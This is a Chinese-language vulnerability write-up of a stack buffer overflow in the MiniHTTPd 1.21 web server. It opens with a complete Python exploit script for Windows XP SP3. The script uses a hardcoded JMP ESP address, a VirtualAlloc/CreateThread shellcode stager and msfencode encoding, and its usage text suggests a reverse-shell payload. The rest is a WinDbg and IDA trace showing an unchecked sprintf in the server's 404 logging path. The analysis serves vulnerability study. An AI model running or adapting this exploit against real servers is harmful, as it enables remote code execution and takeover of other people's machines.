作者:k0shl 转载请注明出处
漏洞说明
软件下载地址:
https://www.exploit-db.com/apps/847d772037159c4559bd41a439489ee7-minihttpd120.lzh
PoC:
import struct, socket, sys, subprocess
# Helper function that reads the body of files off disk.
def file_content(path):
with open(path, 'rb') as f:
return f.read()
# Sent the payload in the correct format to the target host/port.
def pwn(host, port, payload):
print "[*] Connecting to {0}:{1}...".format(host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "[*] Connected, sending payload {0} bytes...".format(len(payload))
payload = "POST /{0} HTTP/1.1\r\nHost: {1}\r\n\r\n".format(payload, host)
s.send(payload)
s.shutdown
s.close
print "[+] Payload of {0} bytes sent, hopefully your shellcode executed.".format(len(payload))
# Create the part of the payload creates a thread to run the final payload in.
def create_payload_thread(final_payload_size):
VirtualAlloc = struct.pack("<L", 0x7c809AE1) # in kernel32
CreateThread = struct.pack("<L", 0x7c8106c7) # in kernel32
SuspendThread = struct.pack("<L", 0x7c83974A) # in kernel32
payload = ""
payload += "\x83\xec\x02" # add esp, 0x2 (aligns the stack)
payload += "\x89\xe6" # mov esi, esp
payload += "\x83\xc6\x00" # add esi, <some offset filled later>
count_offset = len(payload) - 1
# zero out ebx because we use zero a lot
payload += "\x31\xdb" # xor ebx,ebx
# allocate some memory to store our shellcode in which is
# away from the current active area and somewhere safe
payload += "\x6a\x40" # push 0x40
payload += "\x68\x00\x30\x00\x00" # push 0x3000
payload += "\x68\x00\x10\x00\x00" # push 0x1000
payload += "\x53" # push ebx
payload += "\xB8" + VirtualAlloc # mov eax,<address>
payload += "\xff\xd0" # call eax
# copy the payload over to the newly allocated area
size_bin = struct.pack("<L", final_payload_size + 4)
payload += "\xb9" + size_bin # mov ecx,final_payload_size
payload += "\x89\xc7" # mov edi,eax
payload += "\xf2\xa4" # rep movsb
# create the thread with a starting address pointing to the
# allocated area of memory
payload += "\x53" # push ebx
payload += "\x53" # push ebx
payload += "\x53" # push ebx
payload += "\x50" # push eax
payload += "\x53" # push ebx
payload += "\x53" # push ebx
payload += "\xB8" + CreateThread # mov eax,<address>
payload += "\xff\xd0" # call eax
# We call SuspendThread on the current thread, because this
# forces the parent to kill it. The bonus here is that doing
# so prevents the thread from dying and bringing the whole
# process down.
payload += "\x4b" # dec ebx
payload += "\x4b" # dec ebx
payload += "\x53" # push ebx
payload += "\xB8" + SuspendThread # mov eax,<address>
payload += "\xff\xd0" # call eax
payload += "\x90" * 4
# fill in the correct offset so that we point ESI to the
# right location at the start of the final payload
size = len(payload) + final_payload_size % 4
print "[*] Final stage is {0} bytes.".format(final_payload_size)
offset = struct.pack("B", size)
# write the value to the payload at the right location and return
return payload[0:count_offset] + offset + payload[count_offset+1:len(payload)]
# Creates the first stage of the exploit which overwrite EIP to get control.
def create_stage1():
eip_offset = 5412
jmp_esp = struct.pack("<L", 0x7e4456F7) # JMP ESP in advapi32
eip_offset2 = eip_offset + 4
payload = ""
payload += "A" * eip_offset # padding to reach EIP overwrite
payload += jmp_esp # address to overwrite IP with
payload += "\x90" # alignment
payload += "\x83\xEC\x21" # rejig ESP
return payload
# Create encoded shellcode from the given payload.
def create_encoded_shellcode(payload):
print "[*] Input payload of {0} bytes received. Encoding...".format(len(payload))
params = ['msfencode', '-e', 'x86/opt_sub', '-t', 'raw',
'BufferRegister=ESP', 'BufferOffset=42', 'ValidCharSet=filepath']
encode = subprocess.Popen(params, stdout = subprocess.PIPE, stdin = subprocess.PIPE)
shellcode, _ = encode.communicate(payload)
print "[*] Shellcode of {0} bytes generated.".format(len(shellcode))
return shellcode
print ""
print "MiniHTTPd 1.21 exploit for WinXP SP3 - by TheColonial"
print "-----------------------------------------------------"
print ""
print " Note: msfencode must be in the path and Metasploit must be up to date."
if len(sys.argv) != 4:
print ""
print " Usage: {0} <host> <port> <payloadfile>".format(sys.argv[0])
print ""
print " host : IP/name of the target host."
print " port : Port that the target is running on."
print " payloadfile : A file with the raw payload that is to be run."
print " This should be the raw, non-encoded output of"
print " a call to msfpayload"
print ""
print " eg. {0} 192.168.1.1 80 reverse_shell_raw.bin"
print ""
else:
print ""
print " Make sure you have your listeners running!"
print ""
host = sys.argv[1]
port = int(sys.argv[2])
payload_file = sys.argv[3]
stage1 = create_stage1()
final_stage = file_content(payload_file)
thread_payload = create_payload_thread(len(final_stage))
shellcode = create_encoded_shellcode(thread_payload + final_stage)
padding = "A" * 0x10
pwn(host, port, stage1 + shellcode + padding)
调试软件:
windbg
IDA pro
漏洞复现
此漏洞形成的原因是因为Mini HTTPD服务器在接收请求的URL数据时,会将URL拼接成一个路径去尝试读取文件,当没有读取到文件的时候,会拼接成一个Not Found语句输出,在这个过程中,没有对URL的长度进行严格的检查,从而导致在最后拼接的时候发生栈溢出,导致返回地址覆盖从而执行任意代码,下面对此漏洞进行详细分析。
首先发送PoC,windbg挂载服务进程,程序崩溃,windbg捕获到漏洞异常。
0:002> g
(854.55c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000000f8 ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=54484141 esp=00cedc6c ebp=0000000e iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
54484141 ?? ???
通过kb查看堆栈调用。
0:003> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00cedc68 312f5054 3034312e 6f4e2034 6f462074 0x54484141
00cedc6c 3034312e 6f4e2034 6f462074 0d646e75 0x312f5054
00cedc70 6f4e2034 6f462074 0d646e75 0000000a 0x3034312e
00cedc74 6f462074 0d646e75 0000000a 00000000 0x6f4e2034
00cedc78 0d646e75 0000000a 00000000 00000000 0x6f462074
00cedc7c 00000000 00000000 00000000 000000cc 0xd646e75
可以看到这时已经是畸形字符串了,在这个过程中,我尝试调整url长度为了更准确地定位漏洞位置,但是发现无论如何调整都无法准确定位,这时候找打了另一种方法,首先查看一下esp的值。
0:003> dc esp
00cedc6c 312f5054 3034312e 6f4e2034 6f462074 TP/1.1404 Not Fo
00cedc7c 0d646e75 0000000a 00000000 00000000 und.............
00cedc8c 000000cc 00000000 ffffffff 0a000a0d ................
00cedc9c 00000000 0000007f 00000000 00000000 ................
可以看到此时esp中存放了404 not found这类关键词,通过IDA,找到了这处常量的位置。
.data:0042038C a404NotFound db '404 Not Found',0 ; DATA XREF: sub_401370+A19o
.data:0042038C ; sub_401370+A2Eo
通过IDA找到这处调用位置。
.text:00401D89 push offset a404NotFound ; "404 Not Found"
.text:00401D8E push edx ; s
.text:00401D8F call sub_4027A0
.text:00401D94 add esp, 8
.text:00401D97 lea eax, [esp+22348h+var_22260]
.text:00401D9E push offset a404NotFound ; "404 Not Found"
.text:00401DA3 push eax ; char *
.text:00401DA4 call _sprintf
可以看到sprintf这类敏感调用个,于是由此入手,对漏洞进行分析。
漏洞分析
首先在对之前回溯到的sprintf函数的分析中,我找到了一处比较关键的调用位置。
.text:004014C2 push 0 ; flags
.text:004014C4 push 400h ; len
.text:004014C9 push ebp ; buf
.text:004014CA push edx ; s
.text:004014CB call edi ; recv
在这里下断点单步跟踪。
0:002> bp 004014cb
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\minihttpd\minihttpd.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\minihttpd\minihttpd.exe
0:002> g
Breakpoint 0 hit
eax=00000000 ebx=00000001 ecx=00000000 edx=000000cc esi=00000000 edi=71a42e70
eip=004014cb esp=00cedc60 ebp=00cee668 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x14cb:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\WSOCK32.dll -
004014cb ffd7 call edi {WSOCK32!recv (71a42e70)}
0:003> dd esp
00cedc60 000000cc 00cee668 00000400 00000000
00cedc70 00000000 000000cc 00d0ffec 00b0fbac
00cedc80 00000000 00000000 00000000 000000cc
00cedc90 00000000 00000000 0a0d0a0d 00000000
00cedca0 0000007f 00000000 00000000 00000001
00cedcb0 00000000 00000000 00000000 00000000
00cedcc0 00000000 00000000 00000000 00000000
00cedcd0 00000000 00000000 00000000 00000000
0:003> dc cee668
00cee668 2e373231 2e302e30 00000031 00000000 127.0.0.1.......
00cee678 00000000 00000000 00000000 00000000 ................
00cee688 00000000 00000000 00000000 00000000 ................
00cee698 00000000 00000000 00000000 00000000 ................
00cee6a8 00000000 00000000 00000000 00000000 ................
00cee6b8 00000000 00000000 00000000 00000000 ................
00cee6c8 00000000 00000000 00000000 00000000 ................
00cee6d8 00000000 00000000 00000000 00000000 ................
0:003> p
eax=00000400 ebx=00000001 ecx=00151e98 edx=00000001 esi=00000000 edi=71a42e70
eip=004014cd esp=00cedc70 ebp=00cee668 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x14cd:
004014cd 8bd8 mov ebx,eax
0:003> dc cee668
00cee668 54534f50 41412f20 41414141 41414141 POST /AAAAAAAAAA
00cee678 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cee688 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cee698 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cee6a8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cee6b8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cee6c8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00cee6d8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到,此时确实接收到了畸形字符串,接下来继续单步跟踪。
0:003> bp 004018a3
0:003> g
Breakpoint 2 hit
eax=00dede28 ebx=00000100 ecx=00000000 edx=00dee230 esi=00000000 edi=00420450
eip=004018a3 esp=00dedc64 ebp=00defbb7 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x18a3:
004018a3 e886260000 call minihttpd+0x3f2e (00403f2e)
0:003> dd esp
00dedc64 00dede28 004203ec 00424708 00000000
00dedc74 000000c4 00e0ffec 00c0fbac 0000154f
00dedc84 00000000 00000000 000000c4 00000000
00dedc94 00000000 0a000a0d 00000000 0000007f
00dedca4 00000000 00000000 00000001 00000000
00dedcb4 00000000 00000000 00000000 00000000
00dedcc4 00000000 00000000 00000000 00000000
00dedcd4 00000000 00000000 00000000 00000000
0:003> dc 00424708
00424708 775c3a63 61706265 00736567 00000000 c:\webpages.....
到达这个位置的时候,可以看到此时已经获取到了web的根目录位置,接下来会对根目录进行拼接。
0:003> p
eax=00000000 ebx=0000013f ecx=00000211 edx=00dee268 esi=00dede28 edi=00dede28
eip=00401a6e esp=00dedc70 ebp=00dedcc8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
minihttpd+0x1a6e:
00401a6e 8be9 mov ebp,ecx
0:003> p
eax=00000000 ebx=0000013f ecx=00000211 edx=00dee268 esi=00dede28 edi=00dede28
eip=00401a70 esp=00dedc70 ebp=00000211 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
minihttpd+0x1a70:
00401a70 8bfa mov edi,edx
0:003> p
eax=00000000 ebx=0000013f ecx=00000211 edx=00dee268 esi=00dede28 edi=00dee268
eip=00401a72 esp=00dedc70 ebp=00000211 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
minihttpd+0x1a72:
00401a72 83c9ff or ecx,0FFFFFFFFh
0:003> p
eax=00000000 ebx=0000013f ecx=ffffffff edx=00dee268 esi=00dede28 edi=00dee268
eip=00401a75 esp=00dedc70 ebp=00000211 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
minihttpd+0x1a75:
00401a75 f2ae repne scas byte ptr es:[edi]
0:003> p
eax=00000000 ebx=0000013f ecx=ffffffe9 edx=00dee268 esi=00dede28 edi=00dee27e
eip=00401a77 esp=00dedc70 ebp=00000211 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x1a77:
00401a77 8bcd mov ecx,ebp
0:003> p
eax=00000000 ebx=0000013f ecx=00000211 edx=00dee268 esi=00dede28 edi=00dee27e
eip=00401a79 esp=00dedc70 ebp=00000211 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x1a79:
00401a79 4f dec edi
0:003> bp 00401d74
0:003> g
Breakpoint 4 hit
eax=00000000 ebx=00000005 ecx=00dede28 edx=00dee268 esi=0042039e edi=00dee02b
eip=00401d74 esp=00dedc68 ebp=00000010 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
minihttpd+0x1d74:
00401d74 e872a70000 call minihttpd+0xc4eb (0040c4eb)
0:003> dd esp
00dedc68 00dede28 00008000 00000000 000000c4
00dedc78 00e0ffec 00c0fbac 0000154f 00000000
00dedc88 00000000 000000c4 00000000 00000000
00dedc98 0a000a0d 00000000 0000007f 00000000
00dedca8 00000000 00000001 00000000 00000000
00dedcb8 00000000 00000000 00000000 00000000
00dedcc8 00000000 00000000 00000000 00000000
00dedcd8 00000000 00000000 00000000 00000000
0:003> dc 00dede28
00dede28 775c3a63 61706265 5c736567 41414141 c:\webpages\AAAA
00dede38 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dede48 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dede58 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dede68 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dede78 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dede88 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dede98 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
之后会执行打开操作,在这里,如果打开失败,则会跳转到失败处理中,在失败处理中,会去执行打印404 not found的操作。
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=00911f90 esi=0042039e edi=00dee02b
eip=00401d79 esp=00dedc68 ebp=00000010 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
minihttpd+0x1d79:
00401d79 83c408 add esp,8
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=00911f90 esi=0042039e edi=00dee02b
eip=00401d7c esp=00dedc70 ebp=00000010 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
minihttpd+0x1d7c:
00401d7c 83f8ff cmp eax,0FFFFFFFFh
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=00911f90 esi=0042039e edi=00dee02b
eip=00401d7f esp=00dedc70 ebp=00000010 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x1d7f:
00401d7f 89442424 mov dword ptr [esp+24h],eax ss:0023:00dedc94=00000000
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=00911f90 esi=0042039e edi=00dee02b
eip=00401d83 esp=00dedc70 ebp=00000010 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x1d83:
00401d83 752c jne minihttpd+0x1db1 (00401db1) [br=0]
在00401d7c地址位置,会进行一次比较,这里采用补码的方式表示-1,这里由于文件肯定不存在,于是会进入错误处理流程。
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=000000c4 esi=0042039e edi=00dee02b
eip=00401d89 esp=00dedc70 ebp=00000010 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x1d89:
00401d89 688c034200 push offset minihttpd+0x2038c (0042038c)
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=000000c4 esi=0042039e edi=00dee02b
eip=00401d8e esp=00dedc6c ebp=00000010 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x1d8e:
00401d8e 52 push edx
0:003> p
eax=ffffffff ebx=00000005 ecx=00000003 edx=000000c4 esi=0042039e edi=00dee02b
eip=00401d8f esp=00dedc68 ebp=00000010 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x1d8f:
00401d8f e80c0a0000 call minihttpd+0x27a0 (004027a0)
0:003> p
eax=00000000 ebx=00000005 ecx=00151e98 edx=7c92e4f4 esi=0042039e edi=00dee02b
eip=00401d94 esp=00dedc68 ebp=00000010 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x1d94:
00401d94 83c408 add esp,8
0:003> dc edi
00dee02b 41414141 41414141 54534f48 4141003a AAAAAAAAHOST:.AA
00dee03b 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dee04b 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dee05b 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dee06b 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dee07b 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dee08b 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00dee09b 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0:003> p
eax=00000000 ebx=000000f8 ecx=00000000 edx=00cee268 esi=00cedd66 edi=00cee668
eip=00402629 esp=00cedc70 ebp=0000000e iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x2629:
00402629 52 push edx
0:003> p
eax=00000000 ebx=000000f8 ecx=00000000 edx=00cee268 esi=00cedd66 edi=00cee668
eip=0040262a esp=00cedc6c ebp=0000000e iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x262a:
0040262a e831000000 call minihttpd+0x2660 (00402660)
0:003> p
(5ac.b30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=000000f8 ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=54484141 esp=00cedc6c ebp=0000000e iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
54484141 ?? ???
在错误处理中,会构成一个错误处理的字符串,接下来会进行拼接,然后执行函数sub_402660()。
在这之前,我们来总结分析一下之前函数逻辑的过程。
do
{
v11 = recv(s, v7, 1024, 0);
v88 = &v125;
v87 = &v123;
sscanf(&buf, aSSS, &v116, &v123, &v125);
v88 = ReturnedString;
sprintf(&v121, aS, ReturnedString);
LABEL_55:
strcat(v126, &v121);
TargetHandle = (HANDLE)_open(&v121, 0x8000);
if ( TargetHandle == (HANDLE)-1 )
{
sub_4027A0(s, a404NotFound);
sprintf(&v118, a404NotFound);
}
if ( v118 )
strcat(v126, &v118);
if ( !v86 )
sub_402660(v126);
首先,会接收POST字符串,接下来会进行一次输入,输入之后会调用sprintf将字符串传给v121变量,然后进行拼接,在LABEL_55的位置,这处拼接会构成一个绝对路径,接下来在TargetHandle位置对这个文件进行尝试打开。
打开失败的时候会进入错误处理流程,会拼接404 not found进入字符串,然后调用sub_402660函数,这个v126参数就是畸形字符串。
首先这个过程我去掉了中间一些无关的代码逻辑,整个逻辑很长。其次是在整个过程中,并没有对长度进行校验,而是直接将畸形字符串拼接完成后,传入sub_402660函数。
接下来我们继续跟踪分析这个函数。
int __cdecl sub_402660(int a1)
{
HANDLE v1; // esi@1
DWORD v2; // ebx@1
int result; // eax@2
struct _SYSTEMTIME SystemTime; // [sp+8h] [bp-518h]@1
DWORD NumberOfBytesWritten; // [sp+1Ch] [bp-504h]@3
char v6; // [sp+20h] [bp-500h]@4
char Buffer; // [sp+120h] [bp-400h]@1
v1 = CreateFileA(FileName, 0x40000000u, 0, 0, 4u, 0x80u, 0);
GetLocalTime(&SystemTime);
sprintf(
&Buffer,
a4d02d02d02d02d,
SystemTime.wYear,
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond,
SystemTime.wMilliseconds,
a1);
v2 = SetFilePointer(v1, 0, 0, 2u);
if ( v2 == -1 )
{
result = CloseHandle(v1);
}
else
{
WriteFile(v1, &Buffer, strlen(&Buffer), &NumberOfBytesWritten, 0);
FlushFileBuffers(v1);
CloseHandle(v1);
result = dword_424108;
if ( v2 > dword_424108 )
{
sprintf(&v6, aS_old, FileName);
remove(&v6);
result = rename(FileName, &v6);
}
}
return result;
}
可以看到,函数中调用了一个很关键的sprintf,这个调用中,会将a1传入Buffer,a1就是畸形字符串,也正是这个过程造成了缓冲区溢出。
0:003> p
eax=00000000 ebx=ffffffff ecx=7c92f641 edx=00000007 esi=ffffffff edi=00cee668
eip=00402715 esp=00ced748 ebp=0000000e iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x2715:
00402715 5e pop esi
0:003> p
eax=00000000 ebx=ffffffff ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=00402716 esp=00ced74c ebp=0000000e iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x2716:
00402716 5b pop ebx
0:003> p
eax=00000000 ebx=000000f8 ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=00402717 esp=00ced750 ebp=0000000e iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
minihttpd+0x2717:
00402717 81c418050000 add esp,518h
0:003> p
eax=00000000 ebx=000000f8 ecx=7c92f641 edx=00000007 esi=00cedd66 edi=00cee668
eip=0040271d esp=00cedc68 ebp=0000000e iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
minihttpd+0x271d:
0040271d c3 ret
0:003> dc esp
00cedc68 54484141 312f5054 3034312e 6f4e2034 AAHTTP/1.1404 No
00cedc78 6f462074 0d646e75 0000000a 00000000 t Found.........
00cedc88 00000000 000000cc 00000000 ffffffff ................
00cedc98 0a000a0d 00000000 0000007f 00000000 ................
00cedca8 00000000 00000001 00000000 00000000 ................
00cedcb8 00000000 00000000 00000000 00000000 ................
00cedcc8 00000000 00000000 00000000 00000000 ................
00cedcd8 00000000 00000000 00000000 00000000 ................
返回时,栈底已经被畸形字符串覆盖了,如果此时加长畸形字符串长度,eip则会到达可控位置,造成任意代码执行。
带我上分Zzz